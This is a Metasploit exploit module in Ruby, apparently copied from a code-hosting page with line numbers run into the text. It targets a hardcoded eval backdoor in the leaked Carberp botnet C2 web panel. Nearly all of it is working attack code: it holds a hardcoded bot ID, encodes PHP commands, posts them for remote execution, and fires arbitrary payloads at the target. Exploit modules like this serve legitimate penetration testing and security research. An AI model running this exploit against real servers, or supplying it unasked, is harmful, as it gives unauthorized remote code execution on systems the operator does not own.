Path: blob/master/modules/exploits/unix/webapp/carberp_backdoor_exec.rb
19592 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::HttpClient910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Carberp Web Panel C2 Backdoor Remote PHP Code Execution',15'Description' => %q{16This module exploits backdoors that can be found all over the leaked17source code of the Carberp botnet C2 Web Panel.18},19'License' => MSF_LICENSE,20'Author' => [21'bwall(Brian Wallace) <bwallace[at]cylance.com>', # msf module22'connection(Luis Santana) <hacktalkblog[at]gmail.com>', # exploit reporting23'Steven K <xylitol[at]malwareint[d0t]com>' # discovery and reporting24],25'References' => [26['URL', 'http://www.xylibox.com/2013/06/carberp-remote-code-execution-carpwned.html']27],28'Privileged' => false,29'Payload' => {30'Keys' => ['php'],31'Space' => 10000,32'DisableNops' => true33},34'Platform' => ['php'],35'Arch' => ARCH_PHP,36'Targets' => [37['carberp', {}]38],39'DisclosureDate' => '2013-06-28',40'DefaultTarget' => 0,41'Notes' => {42'Reliability' => UNKNOWN_RELIABILITY,43'Stability' => UNKNOWN_STABILITY,44'SideEffects' => UNKNOWN_SIDE_EFFECTS45}46)47)4849register_options(50[51OptString.new('TARGETURI', [true, "The path to the backdoor, often just index.php", "/index.php"]),52OptString.new('BOTID', [true, 'Hardcoded backdoor bot ID that can run PHP eval', 'BOTNETCHECKUPDATER0-WD8Sju5VR1HU8jlV']),53]54)55end5657def check58confirm_string = rand_text_alpha(8)59cmd = "echo '#{confirm_string}';"60shell = http_send_command(cmd)61check_code = Exploit::CheckCode::Safe6263if shell and shell.body.include?(confirm_string)64check_code = Exploit::CheckCode::Vulnerable65end6667check_code68end6970def http_send_command(cmd)71uri = normalize_uri(target_uri.path.to_s)72request_parameters = {73'method' => 'POST',74'uri' => uri,75'vars_post' =>76{77'id' => datastore['BOTID'],78"data" => Rex::Text.encode_base64(cmd.unpack('H*'))79}80}81res = send_request_cgi(request_parameters)8283res84end8586def exploit87http_send_command(payload.encoded)88end89end909192